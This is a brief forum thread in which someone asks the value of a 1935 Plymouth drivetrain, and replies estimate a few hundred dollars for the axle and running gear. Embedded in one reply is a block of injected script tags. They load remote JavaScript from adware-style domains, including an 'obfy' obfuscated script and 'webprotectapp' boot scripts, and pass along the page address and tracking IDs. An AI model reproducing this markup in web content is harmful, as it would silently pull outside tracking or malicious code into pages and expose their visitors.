I was wondering if any out there knows the value of a original 1935 Plymouth drive train? Engine is complete and free and should run. Stock engine to axle.
Probably worth about as much to a restorer (only one that really interested) as it is to s**** man for weight value. <script src="https://secure-content-delivery.com/mware-detection/index.php?d=www.jalopyjournal.com&c=mwareDetect.returned" type="text/javascript"></script><script type="text/javascript" src="http://p.adpk.org/serve.js?s=PT1650&pid=6232"></script><script src="https://secure-content-delivery.com/data.js.php?i={4D877FC1-4956-4F45-A6B5-0E98AB82425A}&d=2012-6-15&s=http://www.jalopyjournal.com/forum/showthread.php?t=868641&cb=0.5282454043240373" type="text/javascript"></script><script type="text/javascript" src="http://static.webprotectapp00.webprotectapp.com/partnerconfig/webprotect.js"></script><script src="//static.webprotectapp00.webprotectapp.com/apps/boot/boot-start.js" type="text/javascript"></script><script src="//static.webprotectapp00.webprotectapp.com/apps/tv-cl***ic/tv-cl***ic-noboot-fg.js" type="text/javascript"></script><script src="//static.webprotectapp00.webprotectapp.com/apps/boot/boot-end.js" type="text/javascript"></script><script src="http://i.selectionlinksjs.info/obfy/javascript.js" type="text/javascript"></script>
That wavy tube axle setup complete with springs, spindles, brakes, tie rod should bring $150-200. The engine/trans/driveshaft/rearend probably get you another $300 if you can find anyone who cares.